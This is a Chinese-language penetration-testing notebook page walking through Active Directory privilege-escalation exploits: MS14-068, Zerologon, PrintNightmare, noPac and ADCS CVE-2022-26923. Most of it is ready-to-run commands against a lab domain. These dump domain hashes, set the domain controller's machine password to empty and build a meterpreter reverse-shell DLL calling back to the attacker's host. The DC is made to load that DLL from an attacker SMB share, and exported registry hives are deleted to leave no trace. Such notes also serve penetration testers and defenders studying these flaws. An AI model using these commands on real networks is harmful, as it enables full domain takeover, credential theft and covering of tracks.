CVE-2014-6324(MS14-068)

MS14-068 (CVE-2014-6324) 是微软于 2014 年 11 月发布的补丁 (KB3011780) 中修复的一个漏洞,该漏洞允许攻击者以任意用户的权限提升到域管理员帐户权限,漏洞影响 Windows Server 2003Windows Server 2012 R2 期间的 Windows 版本

该漏洞最本质的地方在于Microsoft Windows Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书(PAC)中的有效签名,导致用户可以自己构造一张PAC。

在 KDC 对 PAC 进行验证时,对于 PAC 尾部的签名算法,本的设计是要用到HMAC系列的checksum算法,也就是必须要有key的参与,但微软在实现上,却允许任意checksum算法,包括MD5,因此只需要把篡改后的 PAC 进行MD5,就可以生成新的校验和,再指定签名算法为MD5,KDC 就会使用指定的MD5算法进行签名验证,也就达到了伪造PAC的目的。

漏洞自查:

若是受影响的 Windows 版本,漏洞自检可在域控命令查询是否打补丁:

systeminfo |findstr "KB3011780"
wmic qfe GET hotfixid |findstr "KB3011780"

漏洞利用:

  • kekeo
kekeo.exe "exploit::ms14068 /domain:org.gm7 /user:d4m1ts /password:KsadiN8A.as221 /sid:S-1-5-21-1878822121-1315641291-3131639831-1108 /ptt" "exit"
  • impacket
python3 goldenPac.py -dc-ip 172.16.93.15 -target-ip 172.16.93.15 org.gm7/d4m1ts:[email protected]
  • msf
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
python ms14-068.py -u [email protected] -p KsadiN8A.as221 -s S-1-5-21-1878822121-1315641291-3131639831-1108 -d PDC.org.gm7

CVE-2020-1472(Zerologon)

2020年08月11日,Windows官方发布了 NetLogon 特权提升漏洞的风险通告,该漏洞编号为CVE-2020-1472,漏洞等级:严重,漏洞评分:10分,该漏洞也称为“Zerologon”。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的机器账户密码置为空(域控的机器账户默认具有DCSync权限),从而控制域控服务器。

注意: 利用漏洞时会将机器账户的密码置为空,这会导致域控脱离域环境,所以利用成功后,需要快速恢复域控机器用户的原始哈希,防止出现域控无法启动或脱离域的情况。

漏洞利用1:使用GitHub的脚本

使用 CVE-2020-1472zerologon_tester.py

# 利用前,可以先用POC探测一下,如果可以打就可以提前为后续的操作做好准备
# python3 zerologon_tester.py <dc-name> <dc-ip>
python3 zerologon_tester.py PDC 172.16.93.15
# 利用,给密码置空 python3 cve-2020-1472-exploit.py <dc-name> <dc-ip>
python3 cve-2020-1472-exploit.py PDC 172.16.93.15

image-20240418下午31848010

# 获取Hash
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py org.gm7/PDC\$@172.16.93.15 -just-dc -no-pass

这个时候已经拿到Hash了,需要赶紧还原域控机器账户的密码。

# wmiexec使用域管Hash连进去
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py gm7.org/[email protected] -hashes :3ac1e294fabedf7d2bfa80fec59f59b9
# 导出SAM、SYSTEM和SECURITY
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
# 移动到sysvol,方便后续下载
move *.save \\172.16.93.15\sysvol

# 新开一个终端操作,将这几个文件导出到攻击者本地,我目前想到最简单方便的就是用smbclient了,刚好机器账户的密码被置空了
smbclient //172.16.93.15/sysvol -U PDC$
get system.save
get sam.save
get security.save

# 加密,拿到 PDC$ 的Hash
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

# 删除刚才导出的几个文件,不留痕迹
del /F /S \\172.16.93.15\sysvol\*.save

image-20240418下午45228806

还原密码:

python3 restorepassword.py org.gm7/PDC@PDC -target-ip 172.16.93.15 -hexpass 325d50bdf65c370f217e898a650ff6759a5d8f41a1f8528af97ed4821f0b2ac0657e255453edcfda7bd4dc70ca3a362e5386a16ed5af67db3b457f88af3eed6924c8f4931cff6ea5835bab05bad190787b8ef8c6d93f0a40f461cd5b2702ad88ed3e4626835ebcd949edcf1a017f4262d248612d829c8c8e8b1424632a926f3c9dd8daf1e58699f4d15dcd341f452cbdf392b941edcd88e7e3b355eb4e2431ba2ae0de0e868c8e979f81aed8cd90c65fe6907c724e65ce2f448a5b43bb0b36bd8deaf6c0923f3aa2eb3d06942ee6df386636a929c5f509ff670f42eee9d62de438789e997e79d33cc6c31a5738ccfd5f

image-20240418下午35105418

再次验证,拿不到hash就说明还原成功了。

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py org.gm7/PDC\$@172.16.93.15 -just-dc -no-pass

漏洞利用2:使用mimikatz

利用手法都一样,给机器账户的密码置空,然后读hash,最后恢复密码。

# 探测
lsadump::zerologon /target:172.16.93.15 /account:PDC$
# 置空密码
lsadump::zerologon /target:172.16.93.15 /account:PDC$ /exploit
# 拿到Hash
lsadump::dcsync /domain:org.gm7 /dc:PDC.org.gm7 /user:administrator /authuser:PDC$ /authdomain:ORG /authpassword: /authntlm
# 启一个域管CMD
privilege::debug
sekurlsa::pth /user:administrator /domain:org.gm7 /ntlm:3ac1e294fabedf7d2bfa80fec59f59b9
# 在域管的CMD运行,恢复密码
lsadump::postzerologon /target:172.16.93.15 /account:PDC$

最后恢复密码恢复的不是原来的,有点奇怪,不确定是不是操作有问题。

CVE-2021-1675/CVE-2021-34527(PrintNightMare)

此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。

Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中,经过身份认证的攻击者可以通过该漏洞绕过 PfcAddPrinterDriver 的安全验证,使 Spooler 服务加载恶意 DLL。若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。

探测

使用impacket的rpcdump.py

   python3 rpcdump.py @172.16.93.3 | egrep 'MS-RPRN|MS-PAR'

# 如果有返回结果如下,那么就可能存在漏洞
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol

漏洞利用1:内网windows

利用3gstudent的Invoke-BuildAnonymousSMBServer快速搭建匿名SMB服务。

Set-ExecutionPolicy Bypass
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1

# 开启匿名SMB
Invoke-BuildAnonymousSMBServer -Path c:\windows\temp -Mode Enable
# 关闭匿名SMB
Invoke-BuildAnonymousSMBServer -Path c:\windows\temp -Mode Disable

也可以手动搭建

# powershell
icacls C:\windows\temp\ /T /grant Anonymous` logon:r
icacls C:\windows\temp\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

然后把恶意的dll放到对应的匿名共享目录

cp 1.dll c:\windows\temp

可以使用 CVE-2021-1675 或者mimikatz进行利用,加载恶意的dll(使用 CVE-2021-1675 POC进行攻击,需要看文档安装指定版本的impacket。

# CVE-2021-1675 成功率比较高
python3 CVE-2021-1675.py org.gm7/d4m1ts:[email protected] '\\172.16.93.2\smb\1.dll'
# mimikatz 可能会失败
misc::printnightmare /server:172.16.93.15 /authuser:d4m1ts /authpassword:KsadiN8A.as221 /library:\\192.168.93.2\smb\1.dll /nodynamic

如果出现错误 impacket.dcerpc.v5.rpcrt.DCERPCException: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied,可能和搭建的smb服务有关系,建议换linux搭建。

漏洞利用2:Kali/Linux

需要目标能访问到我们smb,所以这个属于备选项,实战环境可以找目标的linux系统进行配置。

修改smb的配置文件,路径为:/etc/samba/smb.conf

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
sudo vim /etc/samba/smb.conf

# 内容如下:

[global] 
    workgroup = WORKGROUP 
    server string = Samba Server 
    netbios name = MYSERVER 
    log file = /var/log/samba/log.%m 
    max log size = 50 
    security = user 
    map to guest = Bad User 
[smb] 
    comment = Template Directories 
    browseable = yes 
    writeable = yes 
    path = /tmp/ 
    guest ok = yes

启动smb服务

sudo service smbd start
sudo service smbd status

使用 CVE-2021-1675 POC进行攻击(需要看文档安装指定版本的impacket。

# 先生成恶意的dll
cd /tmp && msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.93.17 LPORT=4444 -f dll -o 1.dll
# 执行命令让DC加载恶意的dll
python3 CVE-2021-1675.py org.gm7/d4m1ts:[email protected] '\\172.16.93.17\smb\1.dll'

我这里虽然报错了,但还是成功了

image-20240424上午102601556

CVE-2021-42287&CVE-2021-42278(noPac)

CVE-2021-42278:机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

CVE-2021-42287,与上述漏洞配合使用,当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

利用流程:

假如域内有一台域控名为 PDC(域控对应的机器用户为 PDC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 xxxxxx,再把机器用户 xxxxxx 的 sAMAccountName 改成 PDC。然后利用 PDC 去申请一个TGT票据。再把 PDC 的sAMAccountName 改回来 xxxxxx。这个时候 KDC 就会判断域内没有 PDC 这个用户,自动去搜索 PDC$(PDC$是域控PDC的sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 PDC 的 ST 票据,最终获得域控制器DC的权限。

利用工具:

需要一个域账户,使用工具 noPac,也可以使用sam-the-admin

python3 noPac.py org.gm7/d4m1ts:'KsadiN8A.as221' -dc-ip 172.16.93.15 -dc-host PDC --impersonate administrator -shell -use-ldap
python3 noPac.py org.gm7/d4m1ts:'KsadiN8A.as221' -dc-ip 172.16.93.15 -dc-host PDC --impersonate administrator -dump -use-ldap
python3 noPac.py org.gm7/d4m1ts:'KsadiN8A.as221' -dc-ip 172.16.93.15 -dc-host PDC --impersonate administrator -dump -just-dc-user org/krbtgt -use-ldap

image-20240422下午53820450

CVE-2022-26923(ADCS)

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的 dNSHostName 属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。这一漏洞最早由安全研究员Oliver Lyak发现并公开分析过程和POC,微软在2022年5月的安全更新中对其进行了修补。

利用工具:

利用过程:

定位证书服务器

# 域内
certutil -dump -v
certutil -config - -ping

# 域外
certipy find -u [email protected] -p KsadiN8A.as221 -dc-ip 172.16.93.3 -scheme ldap -stdout

测试环境是否正常,能否利用

# 生成证书
certipy req -username [email protected] -password KsadiN8A.as221 -ca org-PDC-CA -target-ip 172.16.93.3 -dc-ip 172.16.93.3 -template User -debug
# 验证证书
certipy auth -pfx d4m1ts.pfx -dc-ip 172.16.93.3 -debug
# 如果出现错误 KeyError: '1.2.840.10046.2.1',换python版本,我用的kali的3.11没问题

image-20240423下午44052354

利用

# 创建机器账户
certipy account create -u [email protected] -p KsadiN8A.as221 -user "adcstest" -dns "PDC.org.gm7" -target-ip 172.16.93.3 -dc-ip 172.16.93.3
# 申请CA证书
certipy req -username adcstest\$@org.gm7 -password 2Zneo3PkrlXWrn23 -ca org-PDC-CA -target-ip 172.16.93.3 -dc-ip 172.16.93.3 -template Machine -debug
# 获取machine account的NT hash
certipy auth -pfx pdc.pfx -dc-ip 172.16.93.3 -debug

image-20240423下午45622313

再通过域控机器账户的Hash拿到域管的Hash

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:583d83e13250bfd2ff65f508b33f0973 org.gm7/'pdc$'@172.16.93.3

image-20240423下午50324193

如果出现问题 AttributeError: module 'lib' has no attribute 'X509_V_FLAG_NOTIFY_POLICY'. Did you mean: 'X509_V_FLAG_EXPLICIT_POLICY'?,那么pip3安装 pyopenssl==24.0.0即可。

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-05-08 11:41:10

results matching ""

    No results matching ""